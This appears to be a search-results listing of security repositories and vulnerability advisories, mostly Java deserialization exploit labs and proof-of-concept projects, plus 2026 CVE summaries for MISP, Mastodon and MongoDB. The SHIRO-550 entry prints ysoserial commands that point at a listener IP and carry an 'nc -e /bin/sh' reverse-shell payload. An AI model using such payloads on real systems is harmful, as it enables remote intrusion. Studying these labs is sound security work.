BurpSuite-collections

Burp-Suite-collections BurpSuite Related Collection Project, plugins mainly from non-BApp Store App Store All localization or use of BurpSuite is based on the premise that you have configured the Java environment!!! Related Tutorial Latest version after December 2022 For activation refer to...

CVE-2020-9484

CVE-2020-9484 Reproducción de la vulnerabilidad de ejecución de código por deserialización de sesión de Apache Tomcat CVE-2020-9484 con Kali 2.0 Entorno: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz la webapp es s2-053, se añadió commons-collections4-4.0.jar en su lib Inicio...

CVE-2025-24813

CVE-2025-24813 Tomcat PoC PoC for an authorized CTF/lab environment. It exploits CVE-2025-24813 via partial PUT write of a Tomcat session file, then triggers deserialization with JSESSIONID. Prerequisites Python 3 Python requests module Java JDK java and javac The included...

ysoserial

ysoserial Una herramienta de prueba de concepto para generar payloads que explotan la deserialización insegura de objetos Java. Descripción Publicado originalmente como parte de la charla AppSecCali 2015 "Marshalling Pickles: cómo deserializar objetos arruinará tu día" con cadenas de gadgets para...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Uso de Burp Suite para explotar la vulnerabilidad de deserialización de Java 0x01 Montar la vulnerabilidad de deserialización de Jboss JMXInvokerServlet Entorno de prueba: Vulnerabilidad de deserialización de JBoss JMXInvokerServlet Principio de la...

CVE-2025-24813

CVE-2025-24813 Description This repo aims to provide clear instructions for rapid deployment of Tomcat v9.0.90 with java 25.0.1 2025-10-21 LTS on Windows Server 2019 Standard for Cyber Security threat emulation exercise. The exploit.py leverages on ysoserial-all.jar to create a payload using...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Laboratorio de Deserialización Insegura en Java Aplicación Java REST básica vulnerable a Deserialización Insegura, que conduce a RCE. El proyecto debe ejecutarse en Java 8u45 Basado en Maven con las siguientes dependencias: jackson-databind 2.2.2 commons-collections 3.1...

attack-stix-data

ATT&CK® STIX データ MITRE ATT&CK は、実際の観測に基づく敵対者の戦術と技法に関する、世界中でアクセス可能な知識ベースです。 ATT&CK 知識ベースは、民間部門、政府、そしてサイバーセキュリティ製品・サービスコミュニティにおいて、特定の脅威モデルや方法論を開発するための基盤として使用されています。 このリポジトリには、STIX 2.1 JSON コレクションで表現された MITRE ATT&CK データセットが含まれています。 ATT&CK を表す STIX 2.0 JSON をお探しの場合は、MITRE/CTI GitHub リポジトリを参照してください。...

One-Liner-Collections

One-Liner-Collections This Repositories contains list of One Liners with Descriptions and Installation requirements ──────────────────────────────────────────────────────────────────────── SQL Injection Installation Requirements 1. Subfinder : https://github.com/projectdiscovery/subfinder 2. GAU ...

SHIRO-550

Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

CVE-2024-58290-Xhibiter-SQLi

CVE-2024-58290-Xhibiter-SQLi Proof of Concept PoC for SQL Injection in Xhibiter NFT Marketplace 1.10.2 Collections Endpoint. Discovered by Sohel Yousef. CVE-2024-58290: Xhibiter NFT Marketplace SQL Injection Exploit Title: Xhibiter NFT Marketplace 1.10.2 - SQL Injection Unauthenticated Date:...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE Proof-of-Concept exploit for CVE-2023-43208 , an unauthenticated Remote Code Execution vulnerability in Mirth Connect versions prior to 4.4.1. Description Mirth Connect is a widely deployed open-source healthcare integration engine. This vulnerability leverages ...

EUVD-2026-84380

In MISP, the CollectionsController add method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add method persists data on both POST and PUT requests. As a result, an authenticated user...

CVE-2026-95671 MISP Collections: Missing Authorization Check for Sharing Group on PUT Request in collections/add

In MISP, the CollectionsController add method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add method persists data on both POST and PUT requests. As a result, an authenticated user...

CVE-2026-95671

CVE-2026-95671 affects MISP (Malware Information Sharing Platform). The CollectionsController add() method only enforced the sharing-group authorization check for POST requests, while the underlying CRUDComponent::add() persists data on both POST and PUT requests. An authenticated user could ther...

cve-2026-47777

CVE-2026-47777 — Omisión de Autorización de Colecciones Destacadas en Mastodon Resumen Divulgué de manera responsable una vulnerabilidad de Omisión de Autorización de Alta Gravedad que afecta el pipeline de federación experimental de Colecciones Destacadas de Mastodon. ID de CVE: CVE-2026-47777...

CVE-2015-6420

CVE-2015-6420 Vulnerabilidad de deserialización Referencias Análisis de la cadena de explotación CC de la vulnerabilidad de deserialización de Java...

BIT-MONGODB-2026-18698 Improper Authorization in MongoDB Server Allows Unauthorized Actions on System Collections via the validate Command

An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that should require more specific privileges. This could result in exposure of collection metadata and, on certain deployment configurations,...

BIT-MONGODB-2026-18695 Improper Input Validation in MongoDB Timeseries Query Processing Leads to Denial of Service

An issue in MongoDB Server's handling of certain query predicates against time-series collections with a metaField could allow an authenticated user with write access to cause the server process to terminate unexpectedly, resulting in a denial of service...